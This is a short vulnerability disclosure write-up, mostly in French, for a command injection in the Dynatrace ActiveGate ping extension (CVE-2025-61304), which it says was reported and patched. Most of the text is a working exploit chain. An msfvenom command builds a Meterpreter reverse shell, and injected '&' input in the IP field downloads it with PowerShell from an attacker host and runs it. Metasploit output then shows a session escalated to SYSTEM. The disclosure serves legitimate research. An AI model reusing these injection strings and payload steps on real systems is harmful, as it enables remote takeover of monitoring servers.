pentastic-be/cve-2025-61304Vulnérabilité d'injection de commandes système dans l'extension ping de Dynatrace ActiveGate jusqu'à la version 1.016 via une adresse IP spécialement conçue
"OS command injection vulnerability in Dynatrace ActiveGate ping extension up to 1.016 via crafted ip address"
Dans les coulisses, l'extension ping utilise l'invite de commandes de Windows pour effectuer le ping. Le champ de saisie pour l'hôte cible du test fait également 1024 caractères. Après l'adresse IP, vous pouvez écrire des commandes supplémentaires pour que l'ActiveGate les exécute, simplement en utilisant un '&'.
Signalé à Dynatrace et corrigé avec ce commit : https://github.com/Dynatrace/dynatrace-api/pull/99
Exploitation RCE pour ajouter un utilisateur :
Liste des utilisateurs locaux avant et après :
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.51.200 LPORT=4444 -f exe > mshell.exe
google&powershell.exe $ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest http://192.168.51.200/mshell.exe -OutFile c:\test\mshell.exe
google&c:\test\mshell.exe
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.51.200:4444
[*] Sending stage (200262 bytes) to 192.168.51.54
[*] Meterpreter session 3 opened (192.168.51.200:4444 -> 192.168.51.54:49800 ) at 2023-01-21 19:02:16 +0100
meterpreter > getuid
Server username: NT AUTHORITY\LOCAL SERVICE
meterpreter > getsystem
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-9493M3CRTDV
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows